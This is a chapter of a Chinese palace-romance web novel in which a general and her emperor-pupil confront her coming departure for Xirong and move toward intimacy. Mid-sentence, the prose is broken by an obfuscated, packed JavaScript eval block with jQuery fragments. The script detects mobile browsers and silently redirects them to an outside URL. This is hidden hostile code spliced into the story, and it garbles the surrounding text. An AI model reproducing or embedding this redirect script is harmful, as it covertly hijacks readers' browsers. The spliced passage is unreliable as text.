119. 殊途同归(十一)

作品:《刃上吻

    多年来,容鹿鸣始终秉持,能赖掉的药,坚决不吃。这回的药,陆徐下了“狠”手,气容鹿鸣先斩后奏,更气她不把她自己的身体当回事。因此,方子里的药材,都选了极苦的。容鹿鸣闻着那味儿都想躲。


    于是把脸一侧,预备装个晕,好去榻上躺着,先把眼前这碗药推掉再说。还未回过神,她直觉唇上一热,萧正则的嘴唇贴了上来,温热的手捏住她下颌,一使力,将嘴里的药喂给她,不许她吐,更不许她躲。


    容鹿鸣根本推不开他。什么药味?她只尝到他唇舌间白檀的气息。


    药汁自她唇角溢出,伴着轻喘,顺着她白皙的颈子蜿蜒。萧正则毫不觉苦,吮吻而下。


    他极力令自己停在那温热的锁骨处,用鼻尖擦蹭着。


    “阿则。”她平静下来,喊他,没有激烈的反抗,只带着些无奈。


    他却又凶狠地吻上来。她尝到血的味道,不知是他的,还是自己的。


    “好呀你!只要你开口,宋淑离只怕愿意为你做任何事,何况只是冒一点险,服下你给的药,假装被你下毒,演一出戏,助你来冷宫。林乔峤大约什么也不知晓,可怕我把你杀了,她哭得比她阿耶殁了都伤心。”


    所谋所划皆被他觉察。容鹿鸣假装听不出他语带讥讽,“都是心思善良、单纯的娘子,也不枉为师为你一番挑选。”


    “可我只想要你。”不想听她再说无情语,萧正则又是深深吻她,噬咬一般。


    瞧出容鹿鸣退避的心思后,萧正则愈发紧追不放。近日里,他常常吻她,许多时候,她竟不能抗拒。太多复杂的情愫揉在一处,她想:此生怕是要交代在他手上了。又笑自己想得远了,哪里能谈得上此生呢?


    “容鹿鸣,这么多年了,你以为我只是想要享有你吗?即便放任我一次、两次,我也不会放手的,至死不休!”萧正则笑了,一下下去舔她嘴角的血,回味着,仿佛那血是甜的。


    “若只图片刻,我早就下药、威胁或是锁住你……你最是知道的,我有无数种方法可以为所欲为。可惜鸣鸣,你想错了,我对你不止依恋、不止欲念。我要的,是生生世世。”


    容鹿鸣一时哽住了,竟说不出一个字。事到如今,她确实有放任的意思。那么多年了,总在厮杀里浸着,她早已诸事看淡。每回反躬自省,都如同擦拭一柄血迹未干的刀。


    她总归要一个人,承着自己的命运,一步一步走向终局。


    萧正则有他的使命。


    如若思及诀别,他确实是她难以舍下的人。


    为国为民,西戎之行必为之。萧正则拦不住她,他自己也知道。


    此去西戎,大抵不会再回来了。一副残躯,若他真想……遂了他又如何。容鹿鸣这般想过,纵使曾经割席、纵使他起过杀心,他仍是她最钟爱的徒弟。


    菩萨曾言,但破“我执”,方见洞天。


    容鹿鸣想让萧正则知道,他的“我执”不过是个再普通不过的女人,同这后宫之内的其他女人一样。


    然而,萧正则不这样想。他从没这样想过。自小到大,数次郑重地思及“生同衾,死同穴”,他都只想到容鹿鸣。只有容鹿鸣。


    他轻轻抱起容鹿鸣,放到榻上,让她坐好。


    “阿则……”


    萧正则坐在她脚边,像儿时一样,把脸枕在她膝上。


    一时心里很静。她愿光阴就这般绵延下去,不会分离。


    她摸摸他的眉毛、眼睛,俊气的、暖融融的,说不出心里是什么感觉。


    “你先回去吧,这里不比文华殿,明天再来。”再呆下去,还不知他会说出些什么来。有些事,她还不能告诉他。


    萧正则看着她的眼睛,郁美若夏夜深湖。他忍不仰头吻她。容鹿鸣没躲,任他缠住舌尖。


    “我不回。你安心睡吧,夜里若不舒服就喊我。我守着你。”


    容鹿鸣没动,也没说话。


    萧正则枕在她膝上,眼望着窗外,蓦地说:“用计进了这冷宫,呆个几日,你便会悄悄走,去西戎。”


    “是。”容鹿鸣说。


    “家国大计,恐生大的战乱。我虽想把你锁在这里,可是,自小你教过我的——‘家国在肩’,我不得不让你去。”


    容鹿鸣本在理着他的鬓角。没有什么意味,只是习惯。闻言停下,等着他后面的话。


    她知道他有话要说。


    “西戎事毕,你会回来吗?”


    “若我还活着……”


    “屁话!”萧正则焦躁地打断她,“你一定会活着。”


    “跟我说,不,对朕起誓,说你会活着,会活着回到我身边!”


    此时,为了得到他的信任,为了尽快脱身,她可以起誓的。待她去了西戎,诸事完备,两国结盟,她于归程“病故”,一了百了。


    皇宫之内没有了容家的皇后,阿耶容止会因个罪名被褫夺尚书令之位。由最煊赫的容家开始,整治世族门阀。那些被吞并的土地、税收,被奴役的百姓,腐败不堪的结党营私……将被逐一革除。


    容鹿鸣直到后来才明白,阿耶当年屡呈致仕的折子实则不是为了抽身,而是告诉先帝,他已准备好入狱,为先帝削弱门阀之举磨刀。而先帝一次次驳回,一因心中不忍,二因迟疑难定。


    倘容家落幕,其余士族,谁家不惴惴如鼠。


    先帝的忏悔与荏弱,先太子的治国理想,阿耶与兄长的冀望,萧正则自小被她教授的,都是这举世清明的远景。


    先太子当年未能完成的,要由如今的新君萧正则来完成了。


    这话,她不能说得过早。


    众人皆言新君无情。确实,萧正则当真无情。可对自己,容鹿鸣知道,他甚而可以不惜生死。


    他若现在知道所有谋算,一定断然不肯。他视她重于一切。


    殿宇深沉的宫廷之内,怎么养出这么个重情重义的孩子?也不吧,他只对她重情重义。


    容鹿鸣望着面前人,他目光灼灼地望着自己,说不出一句话。


    其实,自小到大,关于生死诀别,她都不想骗他,由是每每被他问起,她总是缄默。


    “不起誓,是因你不曾想过回来吗?”萧正则的手攀向她面颊,拇指在她颈侧温柔地抚摸着。


    “此去,要先平战事,战场上……”她想说“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924679|171898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刀剑无眼”,却被他压住了嘴唇。


    “上回,你初初嫁我,要回战场时,我同你说‘容相’在我手上。你知道的,我不会真的对容相怎样。可此次,你若死了或不回来的话,我就去你的衣冠冢前,了结自己,我起誓。”


    脑中“嗡”的一声,容鹿鸣抬手给了萧正则一巴掌,“不许胡说!把这话收回来。”


    这是第三次,她听他这样起誓,说她要是有个万一,他就与她同去。


    她是要马革裹尸的人,极怕这誓言应到他身上。


    急怒之下,下手有些重。打完容鹿鸣就后悔了,自小教养他,吓是吓过他,其实舍不得动他一根指头。


    赶紧捧起他的脸来看,俊逸的面颊上,道道指印。容鹿鸣比自己挨了巴掌还难受,转过身,想去摸枕头下的药膏,为他涂上。


    却被他紧紧握住手腕,吻了一下她手心,将她温热的手掌贴在他自己的脸颊上。


    他竟然笑了,开怀极了,星眸里都溢出笑意来。


    “鸣鸣,这么多年了,若你仅仅视我为徒弟,那为何我的生死总能胁迫到你?”


    她心里轰然一惊,惊如冰河乍裂、暴雨骤起。而面上不露声色,不能叫面前人瞧出端倪。


    作势想起身,她想赶紧端出师父的架子来。


    萧正则不松手,她身子一晃,被他就势按在床榻之上。


    少年的身影高峻挺拔,朝她网了过来,令她无处可躲。


    真的无处可躲吗?


    她感到眼角湿润,似有眼泪欲落。她深恨自己。她应当推开他,跑出去。


    他拦不住她的。他们都知道。


    萧正则俯身,吮她欲落的泪。


    “即便你从不说,鸣鸣,也许你不仅仅当我是徒弟……”


    “我是你师父!”仿如大梦初醒,容鹿鸣挣扎起来。


    “不,你是我的妻。”萧正则束住她手腕,一把压在她头顶。而后几近虔诚地,吻她的眉眼、面颊和嘴角。


    容鹿鸣微微颤抖着,不出声。


    “鸣鸣,别哭。放过你自己,也别再折磨我。我对你的心,终难悔改,始终如一。”


    他吻上她嘴唇。束住她腕子的修长手指松缓了,她可以轻易挣脱的。


    她睁眼看了看面前人,她的徒弟、对手、盟友、至交……她于心底默默心向往之的人。她可以轻易挣脱的——他根本舍不得勉强她。


    然而,她却闭上了眼睛。唇与唇之间,是缠绵的白檀香。


    他睁开眼,眼里满是月色与笑意。他拔下她的一支簪子,是最不起眼却锋利如刃的一支,只嵌着颗佛珠大小的红宝石。许多事,原来他都知道。


    “若不愿意,也可用它来阻止我。”他把那簪子放入她掌心。


    她握住了,却永远不会刺向他。


    他一下下吻着她菀紫花色脉搏跳动着的白皙颈子,褪去她缠枝牡丹织金锦的襦裙。


    “别看。”她想去捂他的眼睛,却被他吻了吻掌心,暖在心口。


    夜色里,她白皙得像某种月色的植物。沙场留下的伤痕如年岁写下的诗行,他想去诵读、去膜拜,去占有。